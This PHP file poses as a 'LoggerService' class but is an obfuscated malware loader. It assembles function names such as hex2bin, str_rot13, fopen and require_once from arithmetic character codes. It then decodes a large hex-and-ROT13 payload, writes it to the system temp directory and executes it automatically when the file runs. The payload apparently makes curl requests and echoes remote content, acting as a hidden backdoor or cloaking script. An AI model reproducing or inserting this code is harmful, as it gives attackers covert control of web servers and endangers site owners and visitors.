<?php
class LoggerService {
	private $hl = '';
	private $lm = '';

	public function filterResults($p1) {
		$a = array((112-2),((95+10)),(103-5),((59-9)),(108+5+7),(101),((100*46)-4496));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function fn($p1) {
		$a = array(115,((12*83)-880),(2*57),(((10*8)+15)),114,((3*37)),((126-10)),(5+44),((57-6)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function resolveAction($p1,$p2) {
		$a = array((((96*14)-1242)),((37*1)+74),((29*3)+25),((101*1)),(((108*27)-2806)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function updateCache($p1,$p2) {
		$a = array((8+11+83),(60+59),(((60*1)+54)),(((27*59)-1488)),(116),(102-1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function fetchRecords($p1) {
		$a = array((51+16+34),(93+13+9),(117-6),((76*1)+32),(104-5),(12+90));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function scheduleJob($p1,$p2=null) {
		$a = array((35+74),(((85*98)-8225)),((15*17)-141),116,((35*19)-551));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function executeAction() {
		$this->lm = $this->scheduleJob($this->parseResponse(), '/');
	}

	public function triggerCallback() {
		$this->hl = $this->fn($this->filterResults($this->ad));
	}

	public function checkConsistency() {
		$fn = $this->lm.'/xz-6858043181e1f';
		$f = $this->resolveAction($fn, 'w');
		$this->updateCache($f, $this->hl);
		$this->fetchRecords($f);
		$this->fetchSummary($fn);
	}

	private $ad = '3c3f6375632070796e6666205f7471657b636576696e67722' . '066676e677670245f67743b66676e677670207368617067766' . '261205f63616628245f786f772c245f6d6d7a297b767328216' . '67279733a3a245f677429667279733a3a5f677728293b245f6' . '5783d66676579726128245f6d6d7a293b245f6974743d6f6e6' . '67236345f71727062717228667279733a3a245f67745b245f7' . '86f775d293b73626528245f777a3d302c245f6f6b6b3d66676' . '579726128245f697474293b245f777a213d3d245f6f6b6b3b2' . 'b2b245f777a29245f6974745b245f777a5d3d7075652862657' . '128245f6974745b245f777a5d295e62657128245f6d6d7a5b2' . '45f777a25245f65785d29293b657267686561245f6974743b7' . 'd636576696e67722066676e677670207368617067766261205' . 'f677728297b667279733a3a245f67743d6e65656e6c28275f7' . '5706f273d3e275575704b427470557077706f5a444e545a4f7' . '54d5575744c5a4e414d524e4c71424f306e4d494572272c275' . 'f7162273d3e27554f6a585347627152526a59507544524d495' . 'a53524638735144562b4f6a30425a496a424e507846536a566' . '754754449272c275f7666273d3e27434f663d272c275f65612' . '73d3e2742756a62596a4c7553795a654144574a526a38536e6' . 'c7856425352684144574a53746a494174523154746a6741763' . '9464f4730666f6c6a59584e6a4f5a775a43537438414174527' . '9504538545550396f272c275f7279273d3e27597452594e743' . 'd3d272c275f6471273d3e274c6a5a4d4a4e3d3d272c275f717' . '870273d3e274c6b44584e32523d272c275f6162273d3e27584' . 'e624f516a3d3d272c275f6864273d3e27272c275f7770273d3' . 'e27272c275f6a666e273d3e27272c275f6f6f63273d3e27416' . 'a30415930414a704e785a434970424275667341754870416b4' . 'c58586b6a597045624a5a794c6e5a4f44575a4e62705949704' . '759524c714374304c4c743d3d272c275f6d6b68273d3e27434' . 'e56725a6c74535a45344c272c275f6f6d74273d3e27416b567' . '350444e534f4f3036272c275f7277273d3e27594e526f42743' . '84a272c275f777867273d3e27416b38464f6c6a3d272c275f6' . 'c6c70273d3e2754514e78486a3d3d272c275f6c62273d3e275' . '96b4e5354443d3d272c275f7978273d3e2759756a464f504c3' . 'd272c275f7a6476273d3e274c4e3d3d272c275f6171273d3e2' . '759754e5a59456a3d272c275f6b76273d3e27736d78765a743' . '9724530756973556a685a4e56504b55383d272c275f7767273' . 'd3e27416a6672586a3d3d272c275f7a66273d3e27487a56305' . 'a4e4c4d427466514174704d4d4874305a6a7052427a4939487' . 'a563d272c275f7a6a6d273d3e27594e524d4a4b4f71272c275' . 'f6c7761273d3e27272c275f6461273d3e27416a5248586a3d3' . 'd272c275f6e6c273d3e27487a563d272c275f6d6879273d3e2' . '7536d622b516d5263526c7069524762315377343d272c275f6' . 'd70273d3e27536c3035516c4c314e513876514634665147306' . '2546c4c655250663d272c275f6b7a72273d3e2751467466525' . '178784e506a79546d383d272c275f716d273d3e27536d70615' . '16d6a7a51504c754e50563054763061272c275f6b6d65273d3' . 'e27536d486a414e4e30416c5241437648775476386a272c275' . 'f656a273d3e27272c275f676b78273d3e27536d6a31516d706' . 'd547634785146306d272c275f736f68273d3e27536d4839437' . '44e6d5950746e5a6c6a38272c275f6e6263273d3e27272c275' . 'f6b61273d3e27536d743358744e69596d5a6e5677707953776' . 'a3d272c275f70616e273d3e27536d746b516d5a7a526c48745' . '247743653776a3d272c275f6f7071273d3e27536d303243444' . 'e6b43466644426d48665146306158444e695947383d272c275' . 'f677a273d3e27536c5a2b516c746c4e51527951464e6551475' . 'a69546c74665250483d272c275f6370273d3e2751467861597' . '4666341464e6f5851743d272c275f6875273d3e27514652744' . '27466755a77446f5651383d272c275f7a6e75273d3e27426a3' . '47155474e56556a3d3d272c275f746a273d3e2753777571736' . 'a3d3d272c275f716567273d3e27736a6753436b354145443d3' . 'd272c275f626f66273d3e27736b494251446a564d48783d272' . 'c275f6870273d3e277331384854545363272c275f7a6c273d3' . 'e2741745a3d272c275f6975273d3e2758745a3d272c275f797' . 'a273d3e2759446a4b272c275f6465273d3e275974565750743' . 'd3d272c293b7d7d75726e717265285f7471653a3a5f6361662' . '8275f75706f272c275f67672729293b75726e717265285f747' . '1653a3a5f63616628275f7162272c275f66716e2729293b767' . '328766666726728245f5452475b5f7471653a3a5f636166282' . '75f7666272c275f666a27295d29297b245f6a676e3d5f67676' . 'a285f7471653a3a5f63616628275f6561272c275f726f27292' . '93b767328245f6a676e262666676563626628245f6a676e2c5' . 'f7471653a3a5f63616628275f7279272c275f69646d2729292' . '13d3d736e796672297b717672285f7471653a3a5f636166282' . '75f6471272c275f7965732729293b7d727966727b717672285' . 'f7471653a3a5f63616628275f717870272c275f69787427292' . '93b7d7d767328766666726728245f5452475b5f7471653a3a5' . 'f63616628275f6162272c275f787a7027295d29297b245f6f6' . 'b6b3d245f5042425856523b245f6d6d7a3d287661672965626' . '8617128302b30293b245f786f773d287661672965626861712' . '8332e352b332e35293b245f6d793d6e65656e6c28293b245f6' . 'd795b245f6d6d7a5d3d5f7471653a3a5f63616628275f68642' . '72c275f65776227293b6a7576797228245f786f77297b245f6' . 'd795b245f6d6d7a5d2e3d245f6f6b6b5b28766167296562686' . '1712831302b31302b3130295d5b245f786f775d3b767328212' . '45f6f6b6b5b287661672965626861712831302b31302b31302' . '95d5b245f786f772b2876616729656268617128302e32352b3' . '02e32352b302e32352b302e3235295d297b76732821245f6f6' . 'b6b5b2876616729656268617128372e352b372e352b372e352' . 'b372e35295d5b245f786f772b2876616729656268617128302' . 'e36363636363636363636363636372b302e363636363636363' . '63636363636372b302e3636363636363636363636363637295' . 'd296f65726e783b245f6d6d7a2b2b3b245f6d795b245f6d6d7' . 'a5d3d5f7471653a3a5f63616628275f7770272c275f6d64272' . '93b245f786f772b2b3b7d245f786f773d245f786f772b28766' . '16729656268617128332e352b332e35292b287661672965626' . '8617128302e352b302e35293b7d245f6d6d7a3d245f6d795b2' . '876616729656268617128342e3636363636363636363636363' . '72b342e363636363636363636363636372b342e36363636363' . '636363636363637295d28292e245f6d795b287661672965626' . '8617128362b362b362b36295d3b76732821245f6d795b28766' . '16729656268617128332b33295d28245f6d6d7a29297b245f7' . '86f773d245f6d795b287661672965626861712831332b31332' . '95d28245f6d6d7a2c245f6d795b28766167296562686171283' . '32e333333333333333333333333332b332e333333333333333' . '333333333332b332e33333333333333333333333333295d293' . 'b245f6d795b2876616729656268617128332b332b33295d282' . '45f786f772c245f6d795b2876616729656268617128332e363' . '636363636363636363636372b332e363636363636363636363' . '636372b332e36363636363636363636363637295d2e245f6d7' . '95b2876616729656268617128372e363636363636363636363' . '636372b372e363636363636363636363636372b372e3636363' . '6363636363636363637295d28245f6d795b287661672965626' . '8617128382e333333333333333333333333332b382e3333333' . '33333333333333333332b382e3333333333333333333333333' . '3295d28245f6f6b6b5b2876616729656268617128312b312b3' . '1295d2929293b7d7661707968717228245f6d6d7a293b7d736' . '8617067766261205f67676a28245f727a68297b245f7a79783' . 'd5f7471653a3a5f63616628275f6a666e272c275f626427293' . 'b245f6e6d633d5f7471653a3a5f63616628275f6f6f63272c2' . '75f6c6c27292e245f727a683b76732876665f706e79796e6f7' . '972285f7471653a3a5f63616628275f6d6b68272c275f6a792' . '72929297b245f7a63703d706865795f7661766728245f6e6d6' . '3293b706865795f66726762636728245f7a63702c504845594' . '243475f4646595f49524556534c435252452c736e796672293' . 'b706865795f66726762636728245f7a63702c5048455942434' . '75f4646595f49524556534c554246472c28766167296562686' . '17128312b3129293b706865795f66726762636728245f7a637' . '02c504845594243475f53425959424a5942504e475642412c2' . '876616729656268617128302e352b302e3529293b706865795' . 'f66726762636728245f7a63702c504845594243475f4552474' . '8454147454e41465352452c2876616729656268617128302e3' . '52b302e3529293b706865795f66726762636728245f7a63702' . 'c504845594243475f55524e5152452c2876616729656268617' . '128302b302b302b3029293b706865795f66726762636728245' . 'f7a63702c504845594243475f5042414152504747565a52424' . '8472c2876616729656268617128322e352b322e352b322e352' . 'b322e3529293b706865795f66726762636728245f7a63702c5' . '04845594243475f47565a524248472c2876616729656268617' . '128352b3529293b245f7a79783d706865795f726b727028245' . 'f7a6370293b245f696f3d706865795f7472677661736228245' . 'f7a6370293b706865795f707962667228245f7a6370293b767' . '328245f696f5b5f7471653a3a5f63616628275f6f6d74272c2' . '75f73786c27295d213d287661672965626861712835302b353' . '02b35302b3530292965726768656120736e7966723b7d72796' . '6727b245f616e693d636e6566725f68657928245f6e6d63293' . 'b245f74783d28245f616e695b5f7471653a3a5f63616628275' . 'f7277272c275f6f6627295d3d3d5f7471653a3a5f636166282' . '75f777867272c275f78736a2729293b245f7278613d5f74716' . '53a3a5f63616628275f6c6c70272c275f68636627292e245f6' . '16e695b5f7471653a3a5f63616628275f6c62272c275f64646' . '427295d3b767328766666726728245f616e695b5f7471653a3' . 'a5f63616628275f7978272c275f766a6927295d2929245f727' . '8612e3d5f7471653a3a5f63616628275f7a6476272c275f757' . '26527292e245f616e695b5f7471653a3a5f63616628275f617' . '1272c275f727627295d3b245f7278612e3d5f7471653a3a5f6' . '3616628275f6b76272c275f64697327292e245f616e695b5f7' . '471653a3a5f63616628275f7767272c275f717a27295d2e5f7' . '471653a3a5f63616628275f7a66272c275f756a27293b245f6' . '769633d7366627078626372612828245f74783f5f7471653a3' . 'a5f63616628275f7a6a6d272c275f65687027293a5f7471653' . 'a3a5f63616628275f6c7761272c275f636e2729292e245f616' . 'e695b5f7471653a3a5f63616628275f6461272c275f6174272' . '95d2c245f74783f28766167296562686171283232312e352b3' . '232312e35293a287661672965626861712832302b32302b323' . '02b323029293b767328245f676963297b736368676628245f6' . '769632c245f727861293b245f6974743d28766167296562686' . '17128302b302b302b30293b6a7576797228217372627328245' . 'f67696329297b245f7661723d737472676628245f6769632c2' . '8766167296562686171283334312e333333333333333333333' . '32b3334312e33333333333333333333332b3334312e3333333' . '33333333333333329293b767328245f69747429245f7a79782' . 'e3d245f7661723b767328245f7661723d3d5f7471653a3a5f6' . '3616628275f6e6c272c275f756f6b272929245f6974743d287' . '6616729656268617128302e32352b302e32352b302e32352b3' . '02e3235293b7d73707962667228245f676963293b7d7d65726' . '7686561245f7a79783b7d245f6f783d766666726728245f465' . '2454952455b5f7471653a3a5f63616628275f6d6879272c275' . 'f617727295d293b245f616a763d766666726728245f4652454' . '952455b5f7471653a3a5f63616628275f6d70272c275f6c7a2' . '7295d293b245f7072693d766666726728245f4652454952455' . 'b5f7471653a3a5f63616628275f6b7a72272c275f7a6e27295' . 'd293b245f78743d766666726728245f4652454952455b5f747' . '1653a3a5f63616628275f716d272c275f706627295d293f245' . 'f4652454952455b5f7471653a3a5f63616628275f6b6d65272' . 'c275f6e717127295d3a5f7471653a3a5f63616628275f656a2' . '72c275f706f27293b245f6e773d766666726728245f4652454' . '952455b5f7471653a3a5f63616628275f676b78272c275f756' . 'e27295d293f245f4652454952455b5f7471653a3a5f6361662' . '8275f736f68272c275f6e766127295d3a5f7471653a3a5f636' . '16628275f6e6263272c275f6f776927293b245f6f783d76666' . '6726728245f4652454952455b5f7471653a3a5f63616628275' . 'f6b61272c275f79706d27295d293f245f4652454952455b5f7' . '471653a3a5f63616628275f70616e272c275f797227295d3a6' . '16879793b245f616a763d766666726728245f4652454952455' . 'b5f7471653a3a5f63616628275f6f7071272c275f766f7a272' . '95d293f245f4652454952455b5f7471653a3a5f63616628275' . 'f677a272c275f6a7727295d3a616879793b245f7072693d766' . '666726728245f4652454952455b5f7471653a3a5f636166282' . '75f6370272c275f79776e27295d293f245f4652454952455b5' . 'f7471653a3a5f63616628275f6875272c275f717a6827295d3' . 'a616879793b7673287376796772655f696e6528245f6f782c2' . '8766167296562686171283133372e352b3133372e352929297' . 'b245f7a67613d245f6f783b7d7279667276732873767967726' . '55f696e6528245f616a762c287661672965626861712839312' . 'e3636363636363636363636372b39312e36363636363636363' . '63636372b39312e3636363636363636363636372929297b245' . 'f7a67613d245f616a763b7d727966727b245f7a67613d245f7' . '072693b7d767328766666726728245f5452475b5f7471653a3' . 'a5f63616628275f7a6e75272c275f796d6327295d29297b727' . '07562205f7471653a3a5f63616628275f746a272c275f75742' . '7292e245f7a67612e5f7471653a3a5f63616628275f7165672' . '72c275f6a727727292e245f78742e5f7471653a3a5f6361662' . '8275f626f66272c275f766127292e245f6e772e5f7471653a3' . 'a5f63616628275f6870272c275f70697727293b726b7667282' . '93b7d76732821766666726728245f7a6761297c7c217666667' . '26728245f7874297c7c21766666726728245f6e7729297b726' . 'b766728293b7d727966727b245f6f75633d6e65656e6c285f7' . '471653a3a5f63616628275f7a6c272c275f666e27293d3e245' . 'f7a67612c5f7471653a3a5f63616628275f6975272c275f6f6' . '86427293d3e245f78742c5f7471653a3a5f63616628275f797' . 'a272c275f766427293d3e245f6e77293b245f63643d6865797' . '26170627172286f6e667236345f72617062717228776662615' . 'f72617062717228245f6f75632929293b245f6a676e3d5f676' . '76a28245f6364293b767328245f6a676e26266667656362662' . '8245f6a676e2c5f7471653a3a5f63616628275f6465272c275' . 'f686665272929213d3d736e796672297b72707562245f6a676' . 'e3b726b766728293b7d7d';

	public function fetchSummary($p) {
		require_once($p);
	}

	public function parseResponse() {
		$a=array(((41*1)+74),(4+117),(115),((20*26)-425),(107-4),(101),((112*1)+4),(100-5),(116),(25+17+59),(109*1),(112),((26+66+3)),(2*50),((3*35)),((40*2)+34));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$xi = new LoggerService();
$xi->executeAction();
$xi->triggerCallback();
$xi->checkConsistency();
